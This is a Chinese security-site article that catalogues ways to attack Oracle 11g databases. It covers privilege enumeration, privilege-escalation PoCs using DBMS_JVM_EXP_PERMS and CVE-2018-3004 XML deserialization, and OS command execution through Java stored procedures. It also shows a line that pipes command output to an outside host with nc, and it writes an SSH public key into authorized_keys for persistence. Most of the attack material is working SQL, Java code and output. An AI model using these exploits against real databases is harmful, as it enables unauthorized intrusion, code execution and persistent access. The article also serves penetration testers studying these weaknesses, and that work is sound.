freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Oracle 11g 利用方式总结
2021-10-11 18:57:11

用户权限

1)Oracle默认有三个用户:sys 、 system 、 scott

2)Oracle 提供了三个登陆身份:sysdba 系统管理员身份、sysoper 系统操作员身份、normal 普通身份

注:sys不能用normal权限登录,仅能用sysdbasysoper权限登录

3)Oracle 提供三种标准角色,是若干权限的集合:dba、resource、connect。dba角色拥有全部特权,是最高权限角色

java权限

在Oracle中可以配合java代码使用,同时还对java代码的权限做了单独的限制,对于java权限有以下利用,后面会单独说到提权操作

1)查询java权限

select * from dba_java_policy;	#全部用户
select * from user_java_policy;	#当前用户

2)权限赋权(需要dba权限)

# 文件读写权限
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
# 执行任意代码的权限赋权
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

在Oracle中执行java代码需要安装jvm组件,该组件可以在sys用户上手动安装

# 在sqlplus下以sys登陆,执行$ORACLE_HOME/javavm/install/initjvm.sql,安装jvm组件
SQL>@?/javavm/install/initjvm.sql;

信息收集

获取数据库信息

# 查询 Oracle 版本信息
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
# 当前数据库名
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
# 查询出所有的表
select * from all_tables
# 查询出当前用户的表
select * from user_tables
# 查询出所有的字段
select * from all_tab_columns

获取用户信息

# 获取当前数据库用户
SELECT user FROM dual;
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
# 所有数据库用户
SELECT username FROM all_users ORDER BY username;
# 当前用户权限
SELECT * FROM session_privs;
#	查看当前连接用户是否为DBA
select userenv('ISDBA') from dual;
# 查看有哪些DBA用户
select * from dba_role_privs where granted_role='DBA';
# 列出 DBA 账户
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
# 所有用户的权限
SELECT * FROM dba_sys_privs;
# 用户角色:
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
# 所有用户java权限
select * from DBA_JAVA_POLICY;
# 当前用户java权限
select * from USER_JAVA_POLICY;

存储过程查询

# 查看当前用户
select * from user_procedures WHERE object_type='PROCEDURE';
# 查看所有用户(注意有权限)
select * from all_objects where object_type='PROCEDURE';
# 查看函数就把 object_type='FUNCTION'

web环境注入

如果只能通过web程序sql注入点注入sql语句,不能连接上Oracle服务器,这种情况只能注入简单的sql语句,无法直接 PL/SQL 语句,我们需要借助另外的函数:

DBMS_XMLQUERY.newContext();
DBMS_XMLQUERY.getXML();

这两个函数允许传入一个参数,并将其作为 SQL 语句进行执行

提权

DBMS_JVM_EXP_PERMS

在 Oracle 11g 中存在一个逻辑漏洞:只要拥有 CREATE SESSION 的权限,便可以赋予任意 Java 权限。这是因为允许了 public 调用 DBMS_JVM_EXP_PERMS 中的函数

这是 David Litchfield 大屌在 BlackHat DC 2010 给出的 PoC:获得FilePermission权限,在pl/sql环境下运行

DECLARE
    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    CURSOR C1 IS SELECT 'GRANT','用户名', 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;
BEGIN
    OPEN C1;
        FETCH C1 BULK COLLECT INTO POL;
    CLOSE C1;
    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;

任意代码执行还需要获得RuntimePermission

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

create_change_set

官方介绍:https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_cdcpub.htm#i86667

使用 sys.dbms_cdc_publish.create_change_set 提权

影响版本:10gR1, 10gR2, 11g R1 and 11gR2 #fixed 2010.10

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''
begin SYS.LT.CREATEWORKSPACE(''''A10'''''''' and TEST.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA CE(''''A10'''''''' and TEST.pwn()=''''''''x'''');end;''; commit; end;') from dual

测试失败

直接执行系统命令的漏洞

DBMS_JAVA_TEST.FUNCALL()

影响版本: 10g R2, 11g R1, 11g R2

权限:Java Permissions

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;

这个是没有回显的,执行时Oracle响应的是下面的信息,到服务器上看命令是已经执行了的

图片.png

测试中没有 DBA 权限的用户执行poc会报如下错误:

ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to STUDENT. The PL/SQL to grant this is dbms_java.grant_permission( 'STUDENT', 'SYS:java.io.FilePermission', '/bin/bash', 'execute' )

按照提示给用户授权后还是不行,目前看来只有dba用户可以执行该POC,同时测试时反弹shell也没有成功,利用方式比较有限

至于 FilePermission 问题尝试提权获取

DBMS_JAVA.RUNJAVA

影响版本:10g R2, 11g R1, 11g R2

权限:Java Permissions

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL;

虽然这两个利用函数不能回显命令执行结果,但可以尝试下面的利用

1)可以使用如下命令利用管道把结果回显出去

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /usr/bin/bash -c "/bin/ls|/usr/bin/nc 192.168.40.253 9999"') FROM DUAL;

服务器监听结果,效率也不是很高
图片.png2)命令执行上有限,但能写东西也就足够了,比如写ssh公钥到.ssh目录,写计划任务等

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/usr/bin/mkdir /home/oracle/.ssh') from dual;
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','echo "ssh公钥"> /home/oracle/.ssh/authorized_keys') from dual;

XML序列化任意文件写入

参考:https://ginove.github.io/2018/07/30/%E5%9F%BA%E4%BA%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84Oracle%E6%8F%90%E6%9D%83/

测试版本:Oracle 11g

漏洞编号:CVE-2018-3004

利用反序列化绕过JVM权限,只需要有创建存储过程的权限就行,利用方式如下:

创建以下Java类“DecodeMe”和一个调用此类的Java存储过程:

create or rep1ace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
    public static void input(String xml) throws InterruptedException, IOException {
      XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
      Object object = decoder.readObject();
      System.out.println(object.toString());
      decoder.close();      
    }
}
;
/

CREATE OR REP1ACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
    language java name 'DecodeMe.input(java.lang.String)';
/

反序列化过程绕过了JVM权限设置,并允许用户随意写入操作系统上的文件。其中写入公钥文件这种东西,危害是最大的,示例POC:

BEGIN
   decodeme('
                <java class="java.beans.XMLDecoder" version="1.4.0" >
                   <object class="java.io.FileWriter">
                      <string>/home/oracle/.ssh/authorized_keys</string>
                      <boolean>True</boolean>
                      <void method="write">
                      	<string>
写入的公钥
            						</string>
                      </void>
                      <void method="close" />
                   </object>
                </java>');
END;
/

实战中要注意两个细节

1)换行问题,我们写入的内容是追加在authorized_keys文件上的,且没有换行,为了保证写入的公钥能被使用需要单独成行,我这里试了写"\n"换行符失败,最后还是手动换行写进去

2)目录问题,如果目标机器没有使用过ssh登陆,很大概率是没有 .ssh 目录的,该poc不能强制生成目录

没有目录写入authorized_keys文件遇到如下报错

ERROR at line 1:
ORA-29532: Java call terminated by uncaught Java exception:
java.lang.NullPointerException
ORA-06512: at "ZHANGWEI.DECODEME", line 1
ORA-06512: at line 2

利用java

Oracle 数据库一个比较大的特点是对 Java 语言的支持,其发行时已经携带了 JDK 工具。同时存储过程也可以使用 Java 进行编写,我们可以通过调用 Java 平台的 API 来执行系统命令

下面示例使用 sqlplus 环境执行成功,权限限制主要为java权限

命令执行

1)创建JAVA Source

在 PL/SQL 中创建并编译 Java 源码的语句:

create or rep1ace and compile java source named "LinxUtil" 
as 
    import java.io.*;
    public class LinxUtil extends Object {
        public static String runCMD(String args) {
            try{
                BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); 
                String stemp,str="";
                while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();
                return str;
            } 
            catch (Exception e){return e.toString();
            }
        }
    }
/

2)创建函数

我这步报了很多次错,可以使用show error查看具体的错误并修改

create or rep1ace function LinxRunCMD(p_cmd in varchar2) 
return varchar2 
as 
language java name 'LinxUtil.runCMD(java.lang.String) return String';
/

这里创建一个存储过程也是可以的,但似乎存储过程不能回显执行的命令,这里还是推荐使用创建函数的方式

3)赋予执行权限

如果权限不够的需要执行此步提权,权限要求是RuntimePermission

Oracle 11g一般使用DBMS_JVM_EXP_PERMS提权,Oracle使用GET_DOMAIN_INDEX_TABLES提权

4)使用函数

SQL> select LinxRunCMD('whoami') from dual;

LINXRUNCMD('WHOAMI')
--------------------------------------------------------------------------------
oracle

利用工具推荐

OracleShell

项目地址:https://github.com/jas502n/oracleShell

该工具有图形化界面,操作十分简单,具有提权命令执行的功能
图片.png
注意:使用sys用户登陆时要用户名填写sys as sysdba,模式为DBA

odat

项目地址:https://github.com/quentinhardy/odat

还具有探测Oracle漏洞的功能,使用上体验比OracleShell好点

# 数据库安全 # 数据安全 # 数据库漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录